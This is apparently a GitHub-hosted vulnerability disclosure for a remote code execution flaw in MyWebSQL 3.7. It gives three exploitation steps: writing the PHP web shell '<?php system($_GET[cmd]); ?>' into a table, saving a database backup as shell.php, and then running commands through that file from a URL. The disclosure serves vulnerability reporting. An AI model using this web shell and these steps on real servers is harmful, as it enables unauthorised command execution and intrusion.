Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
1 contributor

Users who have contributed to this file

28 lines (25 sloc) 1.07 KB

MyWebSQL ver 3.7 remote code execution (RCE) vulnerability Description


Testing Target

Summary

MyWebSQL version in 3.7 has remote code execution (RCE) vulnerability.

Description

MyWebSQL version in 3.7 has remote code execution (RCE) vulnerability after write a shell code in database and execute Backup Database function.

Concept

  1. Create a test table (code) and write a shell code in this table.
    Shell code example: <?php system($_GET[cmd]); ?>
  2. Execute Backup Database function and modify Backup filename as shell.php.
  3. Browse (domain)/mywebsql/backups/shell.php?cmd=XXX. Here instance is cmd=ipconfig as below figure.
You can’t perform that action at this time.